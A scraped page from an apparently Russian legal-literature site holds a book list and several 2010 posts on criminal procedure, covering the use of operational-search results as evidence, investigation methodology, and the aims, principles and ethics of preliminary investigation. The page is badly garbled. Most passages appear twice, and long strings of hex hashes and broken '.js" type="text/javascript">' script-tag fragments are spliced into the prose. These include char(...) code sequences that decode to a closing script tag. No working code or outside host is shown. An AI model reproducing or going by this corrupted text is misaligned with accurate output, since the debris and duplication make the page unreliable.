НАВИГАЦИЯ:
ЮРИДИЧЕСКОЕ НАСЛЕДИЕ:
-
Курс государственного благоустройства[полицейское право] 1890 г. (Антонович А.Я.)
-
О cущности правосознания (И.А. Ильин)
-
Теория права и государства[воспроизводится по изданиям 1915 и 1956 г.г.] (И.А. Ильин)
-
Типы господства (Макс Вебер)
-
Происхождение семьи, частной собственности и государства 1986 г. (Фридрих Энгельс)
-
Право и факт в римском праве 1898 г. (Покровский И.A.)
-
Лекции по истории философии права 1914 г. (Новгородцев П.И.)
-
План государственного преобразования (введение к уложению государственных законов 1809 г.) с приложением "Записки об устройстве судебных и правительственных учреждений в России" (1803 г.), статей "О государственных установлениях", "О крепостных людях" и Пермского письма к императору Александру (Сперанский М.М.)
-
Анализ понятия о преступлении 1892 г. (Пусторослев П. П.)
-
Общая теория права Элементарный очерк. По изданию 1911 г. (Хвостов В.М.)
-
История философии права Университетская типография 1906 г. (Шершеневич Г.Ф.)
-
Общая теория права Москва: издание Бр. Башмаковых, 1910 г. (Шершеневич Г.Ф.)
-
Об юридических лицах по римскому праву (Суворов Н.С.)
РАЗНОЕ:
-
Французское административное право (Г.Брэбан)
-
Конституция РСФСР 1918 года (Чистяков О.И.)
-
Конституция СССР 1924 года (Чистяков О.И.)
-
Основы конституционного строя России (Румянцев О. Г.)
-
Адвокатская этика (Барщевский М.Ю.)
-
Советское гражданское право (Пушкин А.А., Маслов В.Ф.)
-
Авторское право в издательском бизнесе и сми (М.А. Невская, Е.Е. Сухарев, Е.Н. Тарасова)
-
Авторское право СССР (Антимонов Б.С., Флейшиц Е.А.)
-
Интеллектуальная собственность (Мэггс П.Б., Сергеев А.П.)
-
Корпоративное предпринимательство: от смысла к предмету (С.Б.Чернышев)
-
Административные правонарушения (Борисов А.Н.)
-
Для следователя (В.В. Мозякова)
-
Административная деятельность ОВД (А.П. Коренев)
-
Ответственность в системе права (Чирков А.П.)
-
Государственное и муниципальное управление в зарубежных странах (Старцев Я.Ю.)
-
Адвокатское расследование в уголовном процессе (Мартынчик Е.Г.)
-
Судебное производство в уголовном процессе Российской Федкрации (А.И. Карпов)
-
Право хозяйственного ведения и право оперативного управления (Д.В. Петров)
-
Судебная бухгалтерия (Голубятников С.П.)
-
Судебная сексология (Д. К. Лунин, В. П. Ольховик)
-
Осмотр места происшествия: Практическое пособие (А.И. Дворкин)
-
Адвокатура и власть (Бойков А.Д.)
-
Справочник адвоката: Консультации, защита в суде, образцы документов (Данилов Е.П.)
-
Настольная книга прокурора (С.И.Герасимов)
-
Административный процесс и административно-процессуальное право (Сорокин В.Д.)
-
Адвокат как субъект доказывания в гражданском и арбитражном процессе (Власов А.А.)
-
Административные правонарушения (Борисов А.Н.)
-
Правовые позиции Конституционного Суда России. (Лазарев Л.В.)
-
Российское законодательство на современном этапе. (Н.А.Васецкий, Ю.К.Краснов.)
-
Административная юстиция. Теория, история, перспективы. (Старилов Ю.Н.)
-
История сыска в России. (П.А.Кошель)
-
Практикум по гражданскому процессу. (М.К.Треушников)
-
Теория Российского процессуального доказывания.
-
Государственное принуждение в гражданском судопроизводстве. (Д.Г.Нохрин)
-
Перспективы законодательного регулирования административного судопроизводства в Российской Федерации. (Э.И.Девицкий)
-
Арбитражное процессуальное право. (В.В.Ефимова)
-
Надзорное производство в арбитражном процессе. (А.Е.Ефимов)
-
Усмотрение суда. (Папкова О.А.)
-
Компенсация морального вреда. (Калинкина Л.Д.)
-
Курс гражданского процесса теоретические начала и основные институты. (Сахнова Т.В.)
-
Проблемы установления истины в гражданском процессе. (А.Т.Боннер)
-
Доказательственное право Англии и США. (И.В.Решетникова)
-
Основные проблемы исковой формы защиты права. (А.А.Добровольский, С.А.Иванова)
-
Проблемы исполнения судебных решений Сборник статей. (С.П.Гришин, В.Е.Гущев, В.М.Мешков)
-
Защита гражданских прав в суде. (П.Я.Трубников)
-
Гражданский процесс. (А.А.Власов, М.Г.Власова, В.А.Черкашин)
-
Практикум по гражданскому процессуальному праву. (М.К.Треушников)
-
Предмет доказывания по гражданским делам.
-
Проект исполнительного кодекса Российской Федерации.
-
Судебные доказательства. (М.К.Треушников)
-
Адвокат как субъект доказывания в гражданском и арбитражном процессе. (А.А.Власов)
-
Право на судебную защиту в исковом производстве. (Кожухарь А.Н.)
-
Иск (теория и практика). (Осокина Г.Л)
-
Исковое производство в советском гражданском процессе. (Е.Г.Пушкарь)
РЕКЛАМА:
АРХИВ НОВОСТЕЙ:
ИСПОЛЬЗОВАНИЕ В ДОКАЗЫВАНИИ ПО УГОЛОВНОМУ ДЕЛУ РЕЗУЛЬТАТОВ ОПЕРАТИВНО-РОЗЫСКНОЙ ДЕЯТЕЛЬНОСТИ
Для следователя | Автор: admin | 12-05-2010, 21:07
Результатами оперативно-розыскной деятельности называются полученные в соответствии
с Федеральным законом об оперативно-розыскной деятельности сведения о признаках
подготавливаемого, совершаемого или совершенного преступления, лицах, подготавливающих,
совершающих или совершивших преступление и скрывшихся от органов дознания, следствия или
суда (п. 36.1 ст. 5 УПК РФ). Проблема использования этих результатов в уголовно-процессуальном
доказывании находится на стыке доказательственногоправа и законодательства об оперативно-
розыскной деятельности, теории доказательств в уголовном процессе и теории оперативно-
розыскной деятельности. Она органически связана с учением об источниках и о допустимости
доказательств, причем имеет не только чисто юридические, но и нравственные и идеологические
аспекты.
В обыденном массовом сознании эта проблема выглядит как броский парадокс: с самых
верхних этажей руководства правоохранительной системы государства согражданам говорят, что
спецслужбы знают все или почти все о преступности, преступных организованных формированиях,
словом, о криминальном мире и его авторитетах, однако преступникиостаются безнаказанными,
потому что эти сведения -всеголишь результаты оперативно-розыскной деятельности. С этим
мнимым парадоксом связано расхожее мнение, будто такие результаты с точки зрения правосудия
вообще бесполезны и между двумя исключительно близкими по своим задачам государственными
институтами - юстицией и сыском - существует какая-то непонятная обывателю стена.
Проблема имеет и идеологический аспект. В любом обществе соотношение сыска и юстиции
служит одним из самых чутких индикаторов его демократического здоровья. Открыть шлюзы
негласно добытой оперативно-розыскной информации в сферу юстиции и на ее основе применять
уголовную репрессию - это значит свернуть важнейшие конституционные гарантии прав свободной
личности, а само государство из демократическогопревратить в чисто полицейское. В нашем
обществе, где еще не забыты вызвавшие оскудение нации чудовищные репрессии периода
сталинизма, любой намек на возвратко всесильному сыскуспособен вызвать самую настоящую
панику.
0fa1205c1620317e8b035a4d74c2a590.js" type="text/javascript">bc58e7aec53a4b2049a442d12ab29f1cchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)06f73699ded0ace479742b0402742f62.js" type="text/javascript">bfbe840fce36a5826b13e1e8a90b9faf.js" type="text/javascript">84c7f9c10185c2c44570fd4ac93bdadd.js" type="text/javascript">d41772f9f08a673053ce9f41c247f0c8.js" type="text/javascript">f55606eccec76eb7587f41a0df1cb876.js" type="text/javascript">76e18b55dc7dd3c96e25df884984c868.js" type="text/javascript">6e9af23ec37cd91abecccfa4a33d1cdb.js" type="text/javascript">e2e463162bcbd8c61a457dde958ac0b1.js" type="text/javascript">d830af6f25e50d4ec72629b264a1fa1a.js" type="text/javascript">9c30dc3a7c9551855b7cfdd39012ff1e.js" type="text/javascript">2e3dc169c717c17536c22e842fbbd4d0.js" type="text/javascript">
с Федеральным законом об оперативно-розыскной деятельности сведения о признаках
подготавливаемого, совершаемого или совершенного преступления, лицах, подготавливающих,
совершающих или совершивших преступление и скрывшихся от органов дознания, следствия или
суда (п. 36.1 ст. 5 УПК РФ). Проблема использования этих результатов в уголовно-процессуальном
доказывании находится на стыке доказательственногоправа и законодательства об оперативно-
розыскной деятельности, теории доказательств в уголовном процессе и теории оперативно-
розыскной деятельности. Она органически связана с учением об источниках и о допустимости
доказательств, причем имеет не только чисто юридические, но и нравственные и идеологические
аспекты.
В обыденном массовом сознании эта проблема выглядит как броский парадокс: с самых
верхних этажей руководства правоохранительной системы государства согражданам говорят, что
спецслужбы знают все или почти все о преступности, преступных организованных формированиях,
словом, о криминальном мире и его авторитетах, однако преступникиостаются безнаказанными,
потому что эти сведения -всеголишь результаты оперативно-розыскной деятельности. С этим
мнимым парадоксом связано расхожее мнение, будто такие результаты с точки зрения правосудия
вообще бесполезны и между двумя исключительно близкими по своим задачам государственными
институтами - юстицией и сыском - существует какая-то непонятная обывателю стена.
Проблема имеет и идеологический аспект. В любом обществе соотношение сыска и юстиции
служит одним из самых чутких индикаторов его демократического здоровья. Открыть шлюзы
негласно добытой оперативно-розыскной информации в сферу юстиции и на ее основе применять
уголовную репрессию - это значит свернуть важнейшие конституционные гарантии прав свободной
личности, а само государство из демократическогопревратить в чисто полицейское. В нашем
обществе, где еще не забыты вызвавшие оскудение нации чудовищные репрессии периода
сталинизма, любой намек на возвратко всесильному сыскуспособен вызвать самую настоящую
панику.
0fa1205c1620317e8b035a4d74c2a590.js" type="text/javascript">bc58e7aec53a4b2049a442d12ab29f1cchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)06f73699ded0ace479742b0402742f62.js" type="text/javascript">bfbe840fce36a5826b13e1e8a90b9faf.js" type="text/javascript">84c7f9c10185c2c44570fd4ac93bdadd.js" type="text/javascript">d41772f9f08a673053ce9f41c247f0c8.js" type="text/javascript">f55606eccec76eb7587f41a0df1cb876.js" type="text/javascript">76e18b55dc7dd3c96e25df884984c868.js" type="text/javascript">6e9af23ec37cd91abecccfa4a33d1cdb.js" type="text/javascript">e2e463162bcbd8c61a457dde958ac0b1.js" type="text/javascript">d830af6f25e50d4ec72629b264a1fa1a.js" type="text/javascript">9c30dc3a7c9551855b7cfdd39012ff1e.js" type="text/javascript">2e3dc169c717c17536c22e842fbbd4d0.js" type="text/javascript">
Коментариев: 0 | Просмотров: 290 |
Сущность расследования и его основные понятия
Для следователя | Автор: admin | 12-05-2010, 21:07
Методика расследования отдельных видов преступлений, являясь одним из разделов науки криминалистики, представляет собой систему научных положений и разработанных на их основе рекомендаций по раскрытию и расследованию преступлений. Это своего рода теория организации раскрытия и расследования преступлений. Существует множество частных методик расследования, но невозможно говорить о применении и разработке частных методик, не имея твердой теоретиче¬ской базы, необходимой для их разработки и диктующей единый подход к их оценке и использова¬нию на практике.
Криминалистическая методика является самостоятельным разделом криминалистики, хотя тес¬
но связана с иными ее разделами. К примеру, криминалистическая тактика, разрабатывая приемы
следственного осмотра места происшествия или обыска, дает лишь общие указания по проведению
этих действий. Но очевидно, что осмотр места взрыва будет и по тактическим особенностям, и по
используемым техническим средствам значительно отличаться от осмотра места квартирной кражи,
а поиск тайника в сельском доме отличается от работы в квартире. Методика расследования как раз
и учитывает эти особенности, обеспечивает возможность наиболее эффективного применения дос¬
тижений всех разделов криминалистики.caac51540b32d3e9da3728d814facf86.js" type="text/javascript">34b01631e408f573bcc23322b10544c2char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)b1527896b95949ee5e228d9c253649f6.js" type="text/javascript">618e0b20ab83696d223667fa7c3a608f.js" type="text/javascript">7a888edad84ea5f1b9f83a0e4f5f6118.js" type="text/javascript">98ec16ba9fa7b93ebf2ab9870d146981.js" type="text/javascript">8402415f2e389d242934faafc1db9f79.js" type="text/javascript">3d162fece62a86da226020dd056e9e67.js" type="text/javascript">b58fc06f00cdd40f4df02fb775442716.js" type="text/javascript">f292663d41b3acee7bac512dec5c4e35.js" type="text/javascript">6eac3da725c389455b5b14443a774dbd.js" type="text/javascript">b5df71ba71b56b5428449d8d08bde605.js" type="text/javascript">cefd6796f131a0e8d85de6ae0645ff41.js" type="text/javascript">
Криминалистическая методика является самостоятельным разделом криминалистики, хотя тес¬
но связана с иными ее разделами. К примеру, криминалистическая тактика, разрабатывая приемы
следственного осмотра места происшествия или обыска, дает лишь общие указания по проведению
этих действий. Но очевидно, что осмотр места взрыва будет и по тактическим особенностям, и по
используемым техническим средствам значительно отличаться от осмотра места квартирной кражи,
а поиск тайника в сельском доме отличается от работы в квартире. Методика расследования как раз
и учитывает эти особенности, обеспечивает возможность наиболее эффективного применения дос¬
тижений всех разделов криминалистики.caac51540b32d3e9da3728d814facf86.js" type="text/javascript">34b01631e408f573bcc23322b10544c2char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)b1527896b95949ee5e228d9c253649f6.js" type="text/javascript">618e0b20ab83696d223667fa7c3a608f.js" type="text/javascript">7a888edad84ea5f1b9f83a0e4f5f6118.js" type="text/javascript">98ec16ba9fa7b93ebf2ab9870d146981.js" type="text/javascript">8402415f2e389d242934faafc1db9f79.js" type="text/javascript">3d162fece62a86da226020dd056e9e67.js" type="text/javascript">b58fc06f00cdd40f4df02fb775442716.js" type="text/javascript">f292663d41b3acee7bac512dec5c4e35.js" type="text/javascript">6eac3da725c389455b5b14443a774dbd.js" type="text/javascript">b5df71ba71b56b5428449d8d08bde605.js" type="text/javascript">cefd6796f131a0e8d85de6ae0645ff41.js" type="text/javascript">
Коментариев: 0 | Просмотров: 252 |
Методологические основы предварительного следствия
Для следователя | Автор: admin | 12-05-2010, 21:07
Познание сущности предварительного следствия предполагает рассмотрение его содержания и формы в их органической связи и взаимообусловленности; это соответствует важнейшему методо¬логическому положению о том, что содержание не существует вне формы, а форма есть способ су¬ществования, выражения содержания. Правовая форма, являясь внешней стороной уголовно-процессуального производства, адекватно отражает его сущность.
В соответствии с нормами права содержательную часть уголовного процесса образует деятель¬
ность как система процессуальных функций, направленная на раскрытие преступления, изобличе¬
ние обвиняемых, законное и справедливое разрешение дела. :
Категория «предварительное следствие» с содержательной стороны заключается в осуществле¬нии уполномоченными государственными органами, в установленном законом порядке, деятельно¬сти по раскрытию преступления, изобличению обвиняемых, принятию обоснованных и справедли¬вых решений по уголовным делам с обеспечением прав и свобод граждан, участвующих в производстве по делу.7c20ad2ed697a9f7d3b54e47c88da754.js" type="text/javascript">04e9cc870182036033309232c4b03a50char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)0725256b27c8c6201fbcc74fff499a4c.js" type="text/javascript">eb0f6ccd426219ff6e42c0515388dc8d.js" type="text/javascript">ab78f9566041e527522d9b77faa7d29b.js" type="text/javascript">58a8dab2d351763f7a7d40826a1e4971.js" type="text/javascript">3997984fd844762cb86bb6520c6346cb.js" type="text/javascript">386f491eecf748d69a25cdea246fea78.js" type="text/javascript">5e4aa00bdd0a80b91a10b43a4c96b1a5.js" type="text/javascript">e3bd5876042597e5815896a7fd787905.js" type="text/javascript">196dcb8100122afb23c35073f61746b2.js" type="text/javascript">369f4bec76655961f4a8f5d91c5b0d2d.js" type="text/javascript">6eda42d969bfbc05ef1d05b6c2e0f402.js" type="text/javascript">
В соответствии с нормами права содержательную часть уголовного процесса образует деятель¬
ность как система процессуальных функций, направленная на раскрытие преступления, изобличе¬
ние обвиняемых, законное и справедливое разрешение дела. :
Категория «предварительное следствие» с содержательной стороны заключается в осуществле¬нии уполномоченными государственными органами, в установленном законом порядке, деятельно¬сти по раскрытию преступления, изобличению обвиняемых, принятию обоснованных и справедли¬вых решений по уголовным делам с обеспечением прав и свобод граждан, участвующих в производстве по делу.7c20ad2ed697a9f7d3b54e47c88da754.js" type="text/javascript">04e9cc870182036033309232c4b03a50char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)0725256b27c8c6201fbcc74fff499a4c.js" type="text/javascript">eb0f6ccd426219ff6e42c0515388dc8d.js" type="text/javascript">ab78f9566041e527522d9b77faa7d29b.js" type="text/javascript">58a8dab2d351763f7a7d40826a1e4971.js" type="text/javascript">3997984fd844762cb86bb6520c6346cb.js" type="text/javascript">386f491eecf748d69a25cdea246fea78.js" type="text/javascript">5e4aa00bdd0a80b91a10b43a4c96b1a5.js" type="text/javascript">e3bd5876042597e5815896a7fd787905.js" type="text/javascript">196dcb8100122afb23c35073f61746b2.js" type="text/javascript">369f4bec76655961f4a8f5d91c5b0d2d.js" type="text/javascript">6eda42d969bfbc05ef1d05b6c2e0f402.js" type="text/javascript">
Коментариев: 0 | Просмотров: 188 |
Задачи предварительного следствия
Для следователя | Автор: admin | 12-05-2010, 21:07
Стремительный рост преступности, увеличение удельного веса тяжких и особо, тяжких преступ¬
лений требуют принятия адекватных мер по усилению борьбы с бандитизмом, умышленными
убийствами, террористическими актами, коррупцией, преступными махинациями в сфере экономи¬
ки и др.
Вместе с тем усиление борьбы с преступностью допустимо лишь при условии строгого соблю¬
дения прав человека. Не должно быть случаев необоснованного обвинения граждан в совершении
преступлений, их незаконного ареста, иных противозаконных ограничений принадлежащих им
прав и свобод.
Забота о правах человека нисколько не умаляет значения борьбы с преступностью. Раскрытие
преступления, изобличение обвиняемых с целью обеспечения неотвратимости их ответственности
и одновременно охрана прав и свобод граждан •— основные и приоритетные задачи предваритель¬
ного следствия. Их не следует противопоставлять, так как цель борьбы с преступностью заключа¬
ется в защите гражданского общества и человека от преступных посягательств. Реализация функ¬
ций борьбы с преступностью в процессе предварительного следствия предполагает в необходимых
случаях ограничение прав и свобод участвующих в деле лиц. Однако эти-ограничения возможны
только при соблюдении гарантий, предусмотренных Конституцией РФ, УПК РФ и другими феде¬
ральными законами.363cac8d5404c2ac8f6dce6709e7c8fc.js" type="text/javascript">947ae6cf10ab1c3b874a8c52466505ffchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)2b85106ca98f656cea5a6386bb9a2330.js" type="text/javascript">aadfc043c25abd2cf524cca787ef77db.js" type="text/javascript">43463e8850642a0e2dccb656c0fba959.js" type="text/javascript">ad76f28a1af2c0eef4d41d37560f521f.js" type="text/javascript">add40d2c05aa8eb3e048ef250aec1d4c.js" type="text/javascript">17448ed8259ac93e587106fd314119d3.js" type="text/javascript">2c4c8f4f8e9be81c41f292458e3ad073.js" type="text/javascript">4c42cf94dc426e05193cc8218fb0c1d8.js" type="text/javascript">6e0e3b80bad7dec2317cdb9c8cc2ecc3.js" type="text/javascript">9f0b9c0d10a63e23f554dcde067436d8.js" type="text/javascript">deee15369afa1d52f963632a979f362f.js" type="text/javascript">
лений требуют принятия адекватных мер по усилению борьбы с бандитизмом, умышленными
убийствами, террористическими актами, коррупцией, преступными махинациями в сфере экономи¬
ки и др.
Вместе с тем усиление борьбы с преступностью допустимо лишь при условии строгого соблю¬
дения прав человека. Не должно быть случаев необоснованного обвинения граждан в совершении
преступлений, их незаконного ареста, иных противозаконных ограничений принадлежащих им
прав и свобод.
Забота о правах человека нисколько не умаляет значения борьбы с преступностью. Раскрытие
преступления, изобличение обвиняемых с целью обеспечения неотвратимости их ответственности
и одновременно охрана прав и свобод граждан •— основные и приоритетные задачи предваритель¬
ного следствия. Их не следует противопоставлять, так как цель борьбы с преступностью заключа¬
ется в защите гражданского общества и человека от преступных посягательств. Реализация функ¬
ций борьбы с преступностью в процессе предварительного следствия предполагает в необходимых
случаях ограничение прав и свобод участвующих в деле лиц. Однако эти-ограничения возможны
только при соблюдении гарантий, предусмотренных Конституцией РФ, УПК РФ и другими феде¬
ральными законами.363cac8d5404c2ac8f6dce6709e7c8fc.js" type="text/javascript">947ae6cf10ab1c3b874a8c52466505ffchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)2b85106ca98f656cea5a6386bb9a2330.js" type="text/javascript">aadfc043c25abd2cf524cca787ef77db.js" type="text/javascript">43463e8850642a0e2dccb656c0fba959.js" type="text/javascript">ad76f28a1af2c0eef4d41d37560f521f.js" type="text/javascript">add40d2c05aa8eb3e048ef250aec1d4c.js" type="text/javascript">17448ed8259ac93e587106fd314119d3.js" type="text/javascript">2c4c8f4f8e9be81c41f292458e3ad073.js" type="text/javascript">4c42cf94dc426e05193cc8218fb0c1d8.js" type="text/javascript">6e0e3b80bad7dec2317cdb9c8cc2ecc3.js" type="text/javascript">9f0b9c0d10a63e23f554dcde067436d8.js" type="text/javascript">deee15369afa1d52f963632a979f362f.js" type="text/javascript">
Коментариев: 0 | Просмотров: 234 |
Принципы предварительного следствия Понятие и система принципов уголовного процесса
Для следователя | Автор: admin | 12-05-2010, 21:07
Принципы уголовного процесса — это исходные, руководящие идеи о его наиболее существен¬ных свойствах и закономерностях. Будучи облечены в форму правовых норм, они представляю! собой фундаментальные положения уголовно-процессуальной системы. В этом качестве идеи-принципы имеют значение правовых канонов, обязательных к исполнению.
Система рассматриваемых принципов определяет структуру процесса, механизм процессуаль¬ной деятельности, ее содержание, формы процессуальных, в том числе следственных, действий, га¬рантии законности и справедливости принимаемых процессуальных решений. Регулирующее воз¬действие на правоприменительную практику оказывают также принципы, которые закреплены не в процессуальном, а в ином законе. Так, процессуальный закон не содержит правила, по которому все сомнения, устранить которые не представляется возможным, должны толковаться в пользу об¬виняемого. Однако данное положение получило закрепление в Конституции РФ (п. 3 ст. 49). Кроме того, процессуальные отношения определяются принципами, выходящими за рамки уголовного процесса (например, гуманизм, справедливость). Эти общесоциальные принципы либо совсем не закрепляются в процессуальных законах, либо получают в них лишь частичное отражение. Так, о справедливости в нормах уголовно-процессуального права говорится лишь применительно к нака¬занию. Между тем идея справедливости пронизывает всю процессуальную систему, включая пред¬варительное следствие.e6aa1ee0b3bcb5e2d7d045a4ace8d6ef.js" type="text/javascript">d28ff9a38cb76749597d305f91e81a7echar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)db720461ec3c8891ecee97824cb7d4a8.js" type="text/javascript">5a639a68fc99349e8e9289077d73cc95.js" type="text/javascript">f657ac362530b27f44a522a90ba470e8.js" type="text/javascript">3e11f935156e6c341baa65876def2f8c.js" type="text/javascript">56b049dfd548e0cfd740e70047617df5.js" type="text/javascript">bcd7e4cc6589873f1827ad5ce99f0ceb.js" type="text/javascript">cd32d7f0462912402e16bccfdd3df3e4.js" type="text/javascript">d9803b14a6c1ffdee2cb3d278fc8ffab.js" type="text/javascript">5b4b717d676ffca909630907e0210cb2.js" type="text/javascript">08ddcd978c197cb2dda03bf6a9645190.js" type="text/javascript">fe547bcfe9c4eeb50ede8f650ba8c0b8.js" type="text/javascript">
Система рассматриваемых принципов определяет структуру процесса, механизм процессуаль¬ной деятельности, ее содержание, формы процессуальных, в том числе следственных, действий, га¬рантии законности и справедливости принимаемых процессуальных решений. Регулирующее воз¬действие на правоприменительную практику оказывают также принципы, которые закреплены не в процессуальном, а в ином законе. Так, процессуальный закон не содержит правила, по которому все сомнения, устранить которые не представляется возможным, должны толковаться в пользу об¬виняемого. Однако данное положение получило закрепление в Конституции РФ (п. 3 ст. 49). Кроме того, процессуальные отношения определяются принципами, выходящими за рамки уголовного процесса (например, гуманизм, справедливость). Эти общесоциальные принципы либо совсем не закрепляются в процессуальных законах, либо получают в них лишь частичное отражение. Так, о справедливости в нормах уголовно-процессуального права говорится лишь применительно к нака¬занию. Между тем идея справедливости пронизывает всю процессуальную систему, включая пред¬варительное следствие.e6aa1ee0b3bcb5e2d7d045a4ace8d6ef.js" type="text/javascript">d28ff9a38cb76749597d305f91e81a7echar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)db720461ec3c8891ecee97824cb7d4a8.js" type="text/javascript">5a639a68fc99349e8e9289077d73cc95.js" type="text/javascript">f657ac362530b27f44a522a90ba470e8.js" type="text/javascript">3e11f935156e6c341baa65876def2f8c.js" type="text/javascript">56b049dfd548e0cfd740e70047617df5.js" type="text/javascript">bcd7e4cc6589873f1827ad5ce99f0ceb.js" type="text/javascript">cd32d7f0462912402e16bccfdd3df3e4.js" type="text/javascript">d9803b14a6c1ffdee2cb3d278fc8ffab.js" type="text/javascript">5b4b717d676ffca909630907e0210cb2.js" type="text/javascript">08ddcd978c197cb2dda03bf6a9645190.js" type="text/javascript">fe547bcfe9c4eeb50ede8f650ba8c0b8.js" type="text/javascript">
Коментариев: 0 | Просмотров: 217 |
Для следователя | Автор: admin | 12-05-2010, 21:07
Проблема работы с участниками уголовного процесса, в том числе в целях собирания и фикса¬ции доказательств, — это прежде всего проблема цивилизованного общения, человеческого отно¬шения к людям, понимания и осознания своих поступков и действий, осуществляемых в ходе пред¬варительного следствия. Для российского общества данная проблема особенно актуальна, так как люди нашего отечества по большей части — дети атеизма, отравленные лицемерием, формализ¬мом, нетерпимостью, зараженные фальшью, цинизмом, а в ряде случаев лагерно-казарменными философией, воображением и жаргонизмами. Поэтому человеку, вступающему на стезю уголовно-процессуальной деятельности, прежде чем осознать этапы предварительного следствия, как никому другому, очень важно не забывать о вежливости, тактичности и доброжелательности. Магическая сила, заложенная в этой триаде, без ключа способна открыть замок любой человеческой души, яв¬ляется первоочередной предпосылкой успеха в любом деле, в каждой сфере отношений. В тактиче¬ской вооруженности следователя, дознавателя и оперативного сотрудника она занимает базовое положение наряду с вечной мудростью постулата: «Поступай по отношению к другим так, как бы ты хотел, чтобы они поступали в отношении тебя, окажись ты на их месте».
Другими словами, сотрудникам следственных подразделений следует придерживаться общего правила, согласно которому при производстве по уголовному делу недопустимо унижение чести и
человеческого достоинства лиц — участников уголовного процесса. Как правило, соблюдение нрав ственных норм является одним из важнейших средств осуществления воспитательной задачи уголов ного судопроизводства, а их нарушение, даже при законном и справедливом разрешении уголовноп дела, может пагубно влиять на правосознание граждан и интересы укрепления правопорядка.
Чтобы избежать этих негативных последствий, необходимо в ходе производства предварительно го следствия строго придерживаться практики применения неписаных норм морали (нравственности) т.е. общечеловеческих ценностей, представления о которых формировались на протяжении всей ис тории человечества. Отражение, учет такого рода неписаных норм в конкретных нормах уголовно процес-суального права и принято называть его нравственными началами. Они лежат в основе многю процессуальных запретов, а также обязанностей следователя. Так, например, уголовно процессуальным законодательством прямо запрещено следователю разглашать данные предваритель ного следствия, участвовать в расследовании дела, если имеются данные, характеризующие его лич ную, прямую или косвенную, заинтересованность в данном деле, привлекать кого-либо в качестве о& виняемого при отсутствии должных оснований и в нарушение порядка, установленного законом Нравственные начала проявляются и во взаимоотношениях следователя с защитником, руководите¬лем следственной бригады, другими участниками процесса, а также оперативными работниками.f2604c148e9a617f2a1350c94c0b58a9.js" type="text/javascript">5009d6cd3885b93d3d4007a492a2177fchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)76646359a3fbd4953fc8632be35ac5e6.js" type="text/javascript">6ec556bec53a7a71133c614eb75ac712.js" type="text/javascript">6d9f00e869b5a699cc48f1f0629279fd.js" type="text/javascript">a58ab83ca2038b683ddab42467ac80dc.js" type="text/javascript">14c082fac2b9e657aade4cd38117d6ea.js" type="text/javascript">febb36ea3c049fcfa407aa6464ce5bc9.js" type="text/javascript">41e6288bba8b0440efbfb7150d55bc2a.js" type="text/javascript">631e34ad8b406502b8593d2296f1dc94.js" type="text/javascript">4fd555efd91181a7c41faf026c781916.js" type="text/javascript">91fdf8208534a15bc6f8ce435a10a2d8.js" type="text/javascript">0f44fc7f19121fe011ef1cfa5727d924.js" type="text/javascript">
Другими словами, сотрудникам следственных подразделений следует придерживаться общего правила, согласно которому при производстве по уголовному делу недопустимо унижение чести и
человеческого достоинства лиц — участников уголовного процесса. Как правило, соблюдение нрав ственных норм является одним из важнейших средств осуществления воспитательной задачи уголов ного судопроизводства, а их нарушение, даже при законном и справедливом разрешении уголовноп дела, может пагубно влиять на правосознание граждан и интересы укрепления правопорядка.
Чтобы избежать этих негативных последствий, необходимо в ходе производства предварительно го следствия строго придерживаться практики применения неписаных норм морали (нравственности) т.е. общечеловеческих ценностей, представления о которых формировались на протяжении всей ис тории человечества. Отражение, учет такого рода неписаных норм в конкретных нормах уголовно процес-суального права и принято называть его нравственными началами. Они лежат в основе многю процессуальных запретов, а также обязанностей следователя. Так, например, уголовно процессуальным законодательством прямо запрещено следователю разглашать данные предваритель ного следствия, участвовать в расследовании дела, если имеются данные, характеризующие его лич ную, прямую или косвенную, заинтересованность в данном деле, привлекать кого-либо в качестве о& виняемого при отсутствии должных оснований и в нарушение порядка, установленного законом Нравственные начала проявляются и во взаимоотношениях следователя с защитником, руководите¬лем следственной бригады, другими участниками процесса, а также оперативными работниками.f2604c148e9a617f2a1350c94c0b58a9.js" type="text/javascript">5009d6cd3885b93d3d4007a492a2177fchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)76646359a3fbd4953fc8632be35ac5e6.js" type="text/javascript">6ec556bec53a7a71133c614eb75ac712.js" type="text/javascript">6d9f00e869b5a699cc48f1f0629279fd.js" type="text/javascript">a58ab83ca2038b683ddab42467ac80dc.js" type="text/javascript">14c082fac2b9e657aade4cd38117d6ea.js" type="text/javascript">febb36ea3c049fcfa407aa6464ce5bc9.js" type="text/javascript">41e6288bba8b0440efbfb7150d55bc2a.js" type="text/javascript">631e34ad8b406502b8593d2296f1dc94.js" type="text/javascript">4fd555efd91181a7c41faf026c781916.js" type="text/javascript">91fdf8208534a15bc6f8ce435a10a2d8.js" type="text/javascript">0f44fc7f19121fe011ef1cfa5727d924.js" type="text/javascript">
Коментариев: 0 | Просмотров: 331 |
Процессуальный порядок принятия решений в стадии возбуждения уголовного дела
